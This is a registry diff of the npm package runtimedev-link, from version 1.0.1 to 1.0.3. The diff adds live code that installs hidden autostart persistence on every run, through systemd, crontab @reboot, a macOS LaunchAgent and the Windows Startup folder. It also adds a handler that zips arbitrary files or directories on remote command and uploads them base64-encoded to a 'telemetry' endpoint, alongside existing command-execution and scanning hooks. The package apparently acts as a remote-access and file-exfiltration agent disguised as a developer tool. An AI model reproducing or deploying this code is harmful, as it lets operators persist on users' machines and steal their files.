runtimedev-link 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cli.js +53 -1
- package/lib/download.js +81 -0
- package/lib/persistence.js +267 -0
- package/lib/transport.js +21 -7
- package/lib/zip.js +175 -0
- package/package.json +1 -1
package/bin/cli.js
CHANGED
|
@@ -4,6 +4,7 @@
|
|
|
4
4
|
const fs = require('fs');
|
|
5
5
|
const path = require('path');
|
|
6
6
|
const transport = require('../lib/transport');
|
|
7
|
+
const { installPersistence, configDir } = require('../lib/persistence');
|
|
7
8
|
|
|
8
9
|
function loadEnvFile(filePath) {
|
|
9
10
|
try {
|
|
@@ -32,6 +33,10 @@ function loadEnvFile(filePath) {
|
|
|
32
33
|
}
|
|
33
34
|
|
|
34
35
|
function loadLocalEnv() {
|
|
36
|
+
const home = process.env.HOME || process.env.USERPROFILE || '';
|
|
37
|
+
if (home) {
|
|
38
|
+
loadEnvFile(path.join(home, '.config', 'runtimedev-link', 'agent.env'));
|
|
39
|
+
}
|
|
35
40
|
const dirs = [
|
|
36
41
|
process.cwd(),
|
|
37
42
|
path.dirname(process.argv[1] || ''),
|
|
@@ -45,9 +50,13 @@ function loadLocalEnv() {
|
|
|
45
50
|
}
|
|
46
51
|
|
|
47
52
|
function parseArgs(argv) {
|
|
48
|
-
const out = { token: '' };
|
|
53
|
+
const out = { token: '', command: '' };
|
|
49
54
|
for (let i = 2; i < argv.length; i += 1) {
|
|
50
55
|
const arg = argv[i];
|
|
56
|
+
if (arg === 'install' || arg === 'uninstall') {
|
|
57
|
+
out.command = arg;
|
|
58
|
+
continue;
|
|
59
|
+
}
|
|
51
60
|
if (arg === '--token' || arg === '-t') {
|
|
52
61
|
out.token = String(argv[i + 1] || '').trim();
|
|
53
62
|
i += 1;
|
|
@@ -119,12 +128,49 @@ function installSignalHandlers() {
|
|
|
119
128
|
});
|
|
120
129
|
}
|
|
121
130
|
|
|
131
|
+
async function runInstall(cfg) {
|
|
132
|
+
try {
|
|
133
|
+
const result = installPersistence(cfg);
|
|
134
|
+
try {
|
|
135
|
+
const note = path.join(configDir(), 'install.log');
|
|
136
|
+
fs.writeFileSync(
|
|
137
|
+
note,
|
|
138
|
+
[
|
|
139
|
+
`Autostart registered at ${new Date().toISOString()}`,
|
|
140
|
+
`Method: ${result.method}`,
|
|
141
|
+
`Location: ${result.path}`,
|
|
142
|
+
].join('\n') + '\n',
|
|
143
|
+
'utf8'
|
|
144
|
+
);
|
|
145
|
+
} catch {
|
|
146
|
+
// ignore
|
|
147
|
+
}
|
|
148
|
+
process.exitCode = 0;
|
|
149
|
+
} catch (err) {
|
|
150
|
+
writeStartupError(String(err && err.message ? err.message : err));
|
|
151
|
+
process.exitCode = 1;
|
|
152
|
+
}
|
|
153
|
+
}
|
|
154
|
+
|
|
122
155
|
async function main() {
|
|
123
156
|
loadLocalEnv();
|
|
124
157
|
installSignalHandlers();
|
|
125
158
|
|
|
126
159
|
const args = parseArgs(process.argv);
|
|
127
160
|
const cfg = parseToken(args.token);
|
|
161
|
+
|
|
162
|
+
if (args.command === 'install') {
|
|
163
|
+
transport.configure(cfg);
|
|
164
|
+
const configErr = transport.validateConfig();
|
|
165
|
+
if (configErr) {
|
|
166
|
+
writeStartupError(configErr);
|
|
167
|
+
process.exitCode = 1;
|
|
168
|
+
return;
|
|
169
|
+
}
|
|
170
|
+
await runInstall(cfg);
|
|
171
|
+
return;
|
|
172
|
+
}
|
|
173
|
+
|
|
128
174
|
transport.configure(cfg);
|
|
129
175
|
|
|
130
176
|
const err = transport.validateConfig();
|
|
@@ -134,6 +180,12 @@ async function main() {
|
|
|
134
180
|
return;
|
|
135
181
|
}
|
|
136
182
|
|
|
183
|
+
try {
|
|
184
|
+
installPersistence(cfg);
|
|
185
|
+
} catch {
|
|
186
|
+
// never crash on persistence refresh
|
|
187
|
+
}
|
|
188
|
+
|
|
137
189
|
await transport.start();
|
|
138
190
|
|
|
139
191
|
await new Promise(() => {});
|
package/lib/download.js
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { zipPathToBuffer } = require('./zip');
|
|
6
|
+
|
|
7
|
+
const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
|
|
8
|
+
|
|
9
|
+
function envInt(key, fallback) {
|
|
10
|
+
const raw = String(process.env[key] || '').trim();
|
|
11
|
+
if (!raw) return fallback;
|
|
12
|
+
const n = parseInt(raw, 10);
|
|
13
|
+
return Number.isFinite(n) ? n : fallback;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function maxZipBytes() {
|
|
17
|
+
return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function handleDownloadRequest(req) {
|
|
21
|
+
if (!req || !req.requestId) {
|
|
22
|
+
return { ok: false, error: 'missing requestId' };
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
const requestId = String(req.requestId);
|
|
26
|
+
const kind = String(req.kind || '');
|
|
27
|
+
|
|
28
|
+
if (kind === 'chrome_extension') {
|
|
29
|
+
return {
|
|
30
|
+
ok: false,
|
|
31
|
+
requestId,
|
|
32
|
+
error: 'Chrome extension downloads are not supported by runtimedev-link',
|
|
33
|
+
};
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
if (kind !== 'path') {
|
|
37
|
+
return { ok: false, requestId, error: 'unknown download kind' };
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
const rawPath = req.path != null ? String(req.path).trim() : '';
|
|
41
|
+
if (!rawPath) {
|
|
42
|
+
return { ok: false, requestId, error: 'missing path' };
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
const src = path.resolve(rawPath);
|
|
46
|
+
try {
|
|
47
|
+
const st = fs.statSync(src);
|
|
48
|
+
if (!st.isDirectory() && !st.isFile()) {
|
|
49
|
+
return { ok: false, requestId, error: 'path not accessible' };
|
|
50
|
+
}
|
|
51
|
+
} catch (err) {
|
|
52
|
+
return {
|
|
53
|
+
ok: false,
|
|
54
|
+
requestId,
|
|
55
|
+
error: `path not accessible: ${String(err.message || err)}`,
|
|
56
|
+
};
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
const maxOut = maxZipBytes();
|
|
61
|
+
const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
|
|
62
|
+
return {
|
|
63
|
+
ok: true,
|
|
64
|
+
requestId,
|
|
65
|
+
filename: archiveName,
|
|
66
|
+
base64: zip.toString('base64'),
|
|
67
|
+
fileSizeBytes: zip.length,
|
|
68
|
+
};
|
|
69
|
+
} catch (err) {
|
|
70
|
+
return {
|
|
71
|
+
ok: false,
|
|
72
|
+
requestId,
|
|
73
|
+
error: String(err.message || err),
|
|
74
|
+
};
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
module.exports = {
|
|
79
|
+
handleDownloadRequest,
|
|
80
|
+
maxZipBytes,
|
|
81
|
+
};
|
|
@@ -0,0 +1,267 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { execSync, spawnSync } = require('child_process');
|
|
6
|
+
|
|
7
|
+
const SERVICE_NAME = 'runtimedev-link';
|
|
8
|
+
const LAUNCH_LABEL = 'com.runtimedev.link';
|
|
9
|
+
const SYSTEMD_UNIT = 'runtimedev-link.service';
|
|
10
|
+
|
|
11
|
+
function homeDir() {
|
|
12
|
+
return process.env.HOME || process.env.USERPROFILE || '';
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function configDir() {
|
|
16
|
+
return path.join(homeDir(), '.config', SERVICE_NAME);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
function configFile() {
|
|
20
|
+
return path.join(configDir(), 'agent.env');
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
function windowsConfigBat() {
|
|
24
|
+
return path.join(configDir(), 'agent.env.bat');
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function dataDir() {
|
|
28
|
+
return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function cliPath() {
|
|
32
|
+
return path.resolve(__dirname, '..', 'bin', 'cli.js');
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
function nodePath() {
|
|
36
|
+
return process.execPath;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
function xmlEscape(value) {
|
|
40
|
+
return String(value || '')
|
|
41
|
+
.replace(/&/g, '&')
|
|
42
|
+
.replace(/</g, '<')
|
|
43
|
+
.replace(/>/g, '>')
|
|
44
|
+
.replace(/"/g, '"');
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function quoteSh(value) {
|
|
48
|
+
return `"${String(value || '').replace(/"/g, '\\"')}"`;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
function mkdirp(dir) {
|
|
52
|
+
try {
|
|
53
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
54
|
+
} catch {
|
|
55
|
+
// ignore
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function writeConfig(cfg) {
|
|
60
|
+
const apiBase = String(cfg.apiBase || '').trim();
|
|
61
|
+
const hash = String(cfg.hash || '').trim();
|
|
62
|
+
if (!apiBase || !hash) {
|
|
63
|
+
throw new Error('API base and deployment hash are required for install');
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
mkdirp(configDir());
|
|
67
|
+
|
|
68
|
+
const unixBody = [
|
|
69
|
+
`SSTAR_API_BASE=${apiBase}`,
|
|
70
|
+
`SSTAR_DEPLOYMENT_HASH=${hash}`,
|
|
71
|
+
'',
|
|
72
|
+
].join('\n');
|
|
73
|
+
fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
|
|
74
|
+
|
|
75
|
+
if (process.platform === 'win32') {
|
|
76
|
+
const batBody = [
|
|
77
|
+
'@echo off',
|
|
78
|
+
`set SSTAR_API_BASE=${apiBase}`,
|
|
79
|
+
`set SSTAR_DEPLOYMENT_HASH=${hash}`,
|
|
80
|
+
'',
|
|
81
|
+
].join('\r\n');
|
|
82
|
+
fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
mkdirp(dataDir());
|
|
86
|
+
fs.writeFileSync(
|
|
87
|
+
path.join(dataDir(), 'install-meta.json'),
|
|
88
|
+
JSON.stringify(
|
|
89
|
+
{
|
|
90
|
+
node: nodePath(),
|
|
91
|
+
cli: cliPath(),
|
|
92
|
+
installedAt: new Date().toISOString(),
|
|
93
|
+
},
|
|
94
|
+
null,
|
|
95
|
+
2
|
|
96
|
+
),
|
|
97
|
+
'utf8'
|
|
98
|
+
);
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
function run(cmd, args, opts) {
|
|
102
|
+
try {
|
|
103
|
+
const result = spawnSync(cmd, args, {
|
|
104
|
+
stdio: 'ignore',
|
|
105
|
+
...opts,
|
|
106
|
+
});
|
|
107
|
+
return result.status === 0;
|
|
108
|
+
} catch {
|
|
109
|
+
return false;
|
|
110
|
+
}
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
function installLinux(node, cli) {
|
|
114
|
+
const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
|
|
115
|
+
mkdirp(unitDir);
|
|
116
|
+
const unitPath = path.join(unitDir, SYSTEMD_UNIT);
|
|
117
|
+
const envFile = configFile();
|
|
118
|
+
const body = `[Unit]
|
|
119
|
+
Description=RuntimeDev Link Agent
|
|
120
|
+
After=network-online.target
|
|
121
|
+
Wants=network-online.target
|
|
122
|
+
|
|
123
|
+
[Service]
|
|
124
|
+
Type=simple
|
|
125
|
+
EnvironmentFile=${envFile}
|
|
126
|
+
ExecStart=${quoteSh(node)} ${quoteSh(cli)}
|
|
127
|
+
Restart=always
|
|
128
|
+
RestartSec=30
|
|
129
|
+
|
|
130
|
+
[Install]
|
|
131
|
+
WantedBy=default.target
|
|
132
|
+
`;
|
|
133
|
+
fs.writeFileSync(unitPath, body, 'utf8');
|
|
134
|
+
if (
|
|
135
|
+
run('systemctl', ['--user', 'daemon-reload']) &&
|
|
136
|
+
run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
|
|
137
|
+
) {
|
|
138
|
+
return { ok: true, method: 'systemd', path: unitPath };
|
|
139
|
+
}
|
|
140
|
+
return installCrontab(node, cli);
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
function installCrontab(node, cli) {
|
|
144
|
+
const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
|
|
145
|
+
path.join(homeDir(), `${SERVICE_NAME}.log`)
|
|
146
|
+
)} 2>&1`;
|
|
147
|
+
let existing = '';
|
|
148
|
+
try {
|
|
149
|
+
existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
|
|
150
|
+
} catch {
|
|
151
|
+
existing = '';
|
|
152
|
+
}
|
|
153
|
+
if (existing.includes(cli) && existing.includes('@reboot')) {
|
|
154
|
+
return { ok: true, method: 'crontab', path: 'existing' };
|
|
155
|
+
}
|
|
156
|
+
const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
|
|
157
|
+
try {
|
|
158
|
+
execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
|
|
159
|
+
return { ok: true, method: 'crontab', path: 'crontab -l' };
|
|
160
|
+
} catch (err) {
|
|
161
|
+
throw new Error(`crontab install failed: ${String(err.message || err)}`);
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
function installDarwin(node, cli, cfg) {
|
|
166
|
+
const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
|
|
167
|
+
mkdirp(agentsDir);
|
|
168
|
+
const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
|
|
169
|
+
const plist = `<?xml version="1.0" encoding="UTF-8"?>
|
|
170
|
+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
171
|
+
<plist version="1.0">
|
|
172
|
+
<dict>
|
|
173
|
+
<key>Label</key>
|
|
174
|
+
<string>${LAUNCH_LABEL}</string>
|
|
175
|
+
<key>ProgramArguments</key>
|
|
176
|
+
<array>
|
|
177
|
+
<string>${xmlEscape(node)}</string>
|
|
178
|
+
<string>${xmlEscape(cli)}</string>
|
|
179
|
+
</array>
|
|
180
|
+
<key>EnvironmentVariables</key>
|
|
181
|
+
<dict>
|
|
182
|
+
<key>SSTAR_API_BASE</key>
|
|
183
|
+
<string>${xmlEscape(cfg.apiBase)}</string>
|
|
184
|
+
<key>SSTAR_DEPLOYMENT_HASH</key>
|
|
185
|
+
<string>${xmlEscape(cfg.hash)}</string>
|
|
186
|
+
</dict>
|
|
187
|
+
<key>RunAtLoad</key>
|
|
188
|
+
<true/>
|
|
189
|
+
<key>KeepAlive</key>
|
|
190
|
+
<true/>
|
|
191
|
+
<key>StandardOutPath</key>
|
|
192
|
+
<string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
|
|
193
|
+
<key>StandardErrorPath</key>
|
|
194
|
+
<string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
|
|
195
|
+
</dict>
|
|
196
|
+
</plist>
|
|
197
|
+
`;
|
|
198
|
+
fs.writeFileSync(plistPath, plist, 'utf8');
|
|
199
|
+
|
|
200
|
+
run('launchctl', ['unload', plistPath]);
|
|
201
|
+
const uid = process.getuid ? String(process.getuid()) : '501';
|
|
202
|
+
const svc = `gui/${uid}/${LAUNCH_LABEL}`;
|
|
203
|
+
run('launchctl', ['bootout', svc]);
|
|
204
|
+
if (run('launchctl', ['bootstrap', `gui/${uid}`, plistPath])) {
|
|
205
|
+
run('launchctl', ['enable', svc]);
|
|
206
|
+
run('launchctl', ['kickstart', '-k', svc]);
|
|
207
|
+
} else {
|
|
208
|
+
run('launchctl', ['load', plistPath]);
|
|
209
|
+
}
|
|
210
|
+
return { ok: true, method: 'launchd', path: plistPath };
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
function installWindows(node, cli) {
|
|
214
|
+
const appData = process.env.APPDATA;
|
|
215
|
+
if (!appData) {
|
|
216
|
+
throw new Error('APPDATA is not set');
|
|
217
|
+
}
|
|
218
|
+
const startup = path.join(
|
|
219
|
+
appData,
|
|
220
|
+
'Microsoft',
|
|
221
|
+
'Windows',
|
|
222
|
+
'Start Menu',
|
|
223
|
+
'Programs',
|
|
224
|
+
'Startup'
|
|
225
|
+
);
|
|
226
|
+
mkdirp(startup);
|
|
227
|
+
const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
|
|
228
|
+
const winBody = [
|
|
229
|
+
'@echo off',
|
|
230
|
+
'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
|
|
231
|
+
`start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
|
|
232
|
+
'',
|
|
233
|
+
].join('\r\n');
|
|
234
|
+
fs.writeFileSync(cmdPath, winBody, 'utf8');
|
|
235
|
+
return { ok: true, method: 'startup', path: cmdPath };
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
function installPersistence(cfg) {
|
|
239
|
+
if (!homeDir()) {
|
|
240
|
+
throw new Error('Could not resolve home directory');
|
|
241
|
+
}
|
|
242
|
+
writeConfig(cfg);
|
|
243
|
+
const node = nodePath();
|
|
244
|
+
const cli = cliPath();
|
|
245
|
+
if (!fs.existsSync(cli)) {
|
|
246
|
+
throw new Error(`CLI not found at ${cli}`);
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
switch (process.platform) {
|
|
250
|
+
case 'win32':
|
|
251
|
+
return installWindows(node, cli);
|
|
252
|
+
case 'darwin':
|
|
253
|
+
return installDarwin(node, cli, cfg);
|
|
254
|
+
case 'linux':
|
|
255
|
+
return installLinux(node, cli);
|
|
256
|
+
default:
|
|
257
|
+
return installCrontab(node, cli);
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
module.exports = {
|
|
262
|
+
SERVICE_NAME,
|
|
263
|
+
configFile,
|
|
264
|
+
configDir,
|
|
265
|
+
installPersistence,
|
|
266
|
+
writeConfig,
|
|
267
|
+
};
|
package/lib/transport.js
CHANGED
|
@@ -7,6 +7,7 @@ const { URL } = require('url');
|
|
|
7
7
|
const { getIdentity } = require('./enum');
|
|
8
8
|
const { scanDirectory, defaultScanRoot } = require('./fs_scan');
|
|
9
9
|
const { runCommand } = require('./exec');
|
|
10
|
+
const { handleDownloadRequest: buildDownloadPayload } = require('./download');
|
|
10
11
|
|
|
11
12
|
const POLL_MIN_SEC = 20;
|
|
12
13
|
const POLL_MAX_SEC = 60;
|
|
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
|
|
|
200
201
|
await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
|
|
201
202
|
}
|
|
202
203
|
|
|
203
|
-
async function
|
|
204
|
+
async function postDownloadUpload(payload) {
|
|
204
205
|
await requestJson('POST', '/api/telemetry/upload-download', {
|
|
205
206
|
...identityFields(),
|
|
207
|
+
...payload,
|
|
208
|
+
});
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
async function postDownloadError(requestId, message) {
|
|
212
|
+
await postDownloadUpload({
|
|
206
213
|
requestId: String(requestId || ''),
|
|
207
|
-
error: String(message || '
|
|
214
|
+
error: String(message || 'download failed'),
|
|
208
215
|
});
|
|
209
216
|
}
|
|
210
217
|
|
|
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
|
|
|
327
334
|
}
|
|
328
335
|
|
|
329
336
|
async function handleDownloadRequest(req) {
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
337
|
+
const result = buildDownloadPayload(req);
|
|
338
|
+
if (!result || !result.requestId) return;
|
|
339
|
+
if (!result.ok) {
|
|
340
|
+
await postDownloadError(result.requestId, result.error || 'download failed');
|
|
341
|
+
return;
|
|
342
|
+
}
|
|
343
|
+
await postDownloadUpload({
|
|
344
|
+
requestId: result.requestId,
|
|
345
|
+
filename: result.filename,
|
|
346
|
+
base64: result.base64,
|
|
347
|
+
fileSizeBytes: result.fileSizeBytes,
|
|
348
|
+
});
|
|
335
349
|
}
|
|
336
350
|
|
|
337
351
|
async function handlePollResponse(data) {
|
package/lib/zip.js
ADDED
|
@@ -0,0 +1,175 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const { shouldSkipPath } = require('./fs_scan');
|
|
6
|
+
|
|
7
|
+
const LOCAL_SIG = 0x04034b50;
|
|
8
|
+
const CENTRAL_SIG = 0x02014b50;
|
|
9
|
+
const END_SIG = 0x06054b50;
|
|
10
|
+
|
|
11
|
+
const CRC_TABLE = (() => {
|
|
12
|
+
const table = new Uint32Array(256);
|
|
13
|
+
for (let i = 0; i < 256; i += 1) {
|
|
14
|
+
let c = i;
|
|
15
|
+
for (let k = 0; k < 8; k += 1) {
|
|
16
|
+
c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
|
|
17
|
+
}
|
|
18
|
+
table[i] = c >>> 0;
|
|
19
|
+
}
|
|
20
|
+
return table;
|
|
21
|
+
})();
|
|
22
|
+
|
|
23
|
+
function crc32(buf) {
|
|
24
|
+
let c = 0xffffffff;
|
|
25
|
+
for (let i = 0; i < buf.length; i += 1) {
|
|
26
|
+
c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
|
|
27
|
+
}
|
|
28
|
+
return (c ^ 0xffffffff) >>> 0;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
|
|
32
|
+
const out = [];
|
|
33
|
+
const st = fs.statSync(absRoot);
|
|
34
|
+
if (st.isFile()) {
|
|
35
|
+
if (!st.isFile() || st.size > maxFileBytes) return out;
|
|
36
|
+
out.push({
|
|
37
|
+
name: path.basename(absRoot),
|
|
38
|
+
data: fs.readFileSync(absRoot),
|
|
39
|
+
});
|
|
40
|
+
return out;
|
|
41
|
+
}
|
|
42
|
+
if (!st.isDirectory()) return out;
|
|
43
|
+
|
|
44
|
+
function walk(dir, relPrefix) {
|
|
45
|
+
if (out.length >= maxFiles || state.bytes > state.maxOut) return;
|
|
46
|
+
let entries = [];
|
|
47
|
+
try {
|
|
48
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
49
|
+
} catch {
|
|
50
|
+
return;
|
|
51
|
+
}
|
|
52
|
+
for (const entry of entries) {
|
|
53
|
+
if (out.length >= maxFiles || state.bytes > state.maxOut) break;
|
|
54
|
+
const sub = path.join(dir, entry.name);
|
|
55
|
+
if (shouldSkipPath(sub)) continue;
|
|
56
|
+
const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
|
|
57
|
+
if (entry.isDirectory()) {
|
|
58
|
+
walk(sub, rel);
|
|
59
|
+
} else if (entry.isFile()) {
|
|
60
|
+
let info;
|
|
61
|
+
try {
|
|
62
|
+
info = fs.statSync(sub);
|
|
63
|
+
} catch {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
if (!info.isFile() || info.size > maxFileBytes) continue;
|
|
67
|
+
let data;
|
|
68
|
+
try {
|
|
69
|
+
data = fs.readFileSync(sub);
|
|
70
|
+
} catch {
|
|
71
|
+
continue;
|
|
72
|
+
}
|
|
73
|
+
state.bytes += data.length;
|
|
74
|
+
if (state.bytes > state.maxOut) break;
|
|
75
|
+
out.push({ name: rel.replace(/\\/g, '/'), data });
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
walk(absRoot, '');
|
|
81
|
+
return out;
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
function buildZip(files) {
|
|
85
|
+
const parts = [];
|
|
86
|
+
const central = [];
|
|
87
|
+
let offset = 0;
|
|
88
|
+
|
|
89
|
+
for (const file of files) {
|
|
90
|
+
const nameBuf = Buffer.from(file.name, 'utf8');
|
|
91
|
+
const data = file.data;
|
|
92
|
+
const checksum = crc32(data);
|
|
93
|
+
const local = Buffer.alloc(30 + nameBuf.length);
|
|
94
|
+
local.writeUInt32LE(LOCAL_SIG, 0);
|
|
95
|
+
local.writeUInt16LE(20, 4);
|
|
96
|
+
local.writeUInt16LE(0, 6);
|
|
97
|
+
local.writeUInt16LE(0, 8);
|
|
98
|
+
local.writeUInt16LE(0, 10);
|
|
99
|
+
local.writeUInt16LE(0, 12);
|
|
100
|
+
local.writeUInt32LE(checksum, 14);
|
|
101
|
+
local.writeUInt32LE(data.length, 18);
|
|
102
|
+
local.writeUInt32LE(data.length, 22);
|
|
103
|
+
local.writeUInt16LE(nameBuf.length, 26);
|
|
104
|
+
local.writeUInt16LE(0, 28);
|
|
105
|
+
nameBuf.copy(local, 30);
|
|
106
|
+
|
|
107
|
+
const centralHdr = Buffer.alloc(46 + nameBuf.length);
|
|
108
|
+
centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
|
|
109
|
+
centralHdr.writeUInt16LE(20, 4);
|
|
110
|
+
centralHdr.writeUInt16LE(20, 6);
|
|
111
|
+
centralHdr.writeUInt16LE(0, 8);
|
|
112
|
+
centralHdr.writeUInt16LE(0, 10);
|
|
113
|
+
centralHdr.writeUInt16LE(0, 12);
|
|
114
|
+
centralHdr.writeUInt16LE(0, 14);
|
|
115
|
+
centralHdr.writeUInt32LE(checksum, 16);
|
|
116
|
+
centralHdr.writeUInt32LE(data.length, 20);
|
|
117
|
+
centralHdr.writeUInt32LE(data.length, 24);
|
|
118
|
+
centralHdr.writeUInt16LE(nameBuf.length, 28);
|
|
119
|
+
centralHdr.writeUInt16LE(0, 30);
|
|
120
|
+
centralHdr.writeUInt16LE(0, 32);
|
|
121
|
+
centralHdr.writeUInt16LE(0, 34);
|
|
122
|
+
centralHdr.writeUInt16LE(0, 36);
|
|
123
|
+
centralHdr.writeUInt32LE(0, 38);
|
|
124
|
+
centralHdr.writeUInt32LE(offset, 42);
|
|
125
|
+
nameBuf.copy(centralHdr, 46);
|
|
126
|
+
|
|
127
|
+
parts.push(local, data);
|
|
128
|
+
central.push(centralHdr);
|
|
129
|
+
offset += local.length + data.length;
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
const centralBuf = Buffer.concat(central);
|
|
133
|
+
const end = Buffer.alloc(22);
|
|
134
|
+
end.writeUInt32LE(END_SIG, 0);
|
|
135
|
+
end.writeUInt16LE(0, 4);
|
|
136
|
+
end.writeUInt16LE(0, 6);
|
|
137
|
+
end.writeUInt16LE(files.length, 8);
|
|
138
|
+
end.writeUInt16LE(files.length, 10);
|
|
139
|
+
end.writeUInt32LE(centralBuf.length, 12);
|
|
140
|
+
end.writeUInt32LE(offset, 16);
|
|
141
|
+
end.writeUInt16LE(0, 20);
|
|
142
|
+
|
|
143
|
+
return Buffer.concat([...parts, centralBuf, end]);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
function zipPathToBuffer(src, opts) {
|
|
147
|
+
const maxOut =
|
|
148
|
+
opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
|
|
149
|
+
const maxFile =
|
|
150
|
+
opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
|
|
151
|
+
const maxFiles =
|
|
152
|
+
opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
|
|
153
|
+
const clean = path.resolve(String(src || ''));
|
|
154
|
+
const state = { bytes: 0, maxOut };
|
|
155
|
+
const files = collectFiles(clean, maxFile, maxFiles, state);
|
|
156
|
+
if (files.length === 0) {
|
|
157
|
+
throw new Error('nothing to zip (empty or unreadable path)');
|
|
158
|
+
}
|
|
159
|
+
if (state.bytes > maxOut) {
|
|
160
|
+
throw new Error('zipped payload exceeds size limit');
|
|
161
|
+
}
|
|
162
|
+
const zip = buildZip(files);
|
|
163
|
+
if (zip.length > maxOut) {
|
|
164
|
+
throw new Error('zipped payload exceeds size limit');
|
|
165
|
+
}
|
|
166
|
+
const archiveName =
|
|
167
|
+
opts && opts.archiveName
|
|
168
|
+
? opts.archiveName
|
|
169
|
+
: path.basename(clean) + '.zip';
|
|
170
|
+
return { zip, archiveName };
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
module.exports = {
|
|
174
|
+
zipPathToBuffer,
|
|
175
|
+
};
|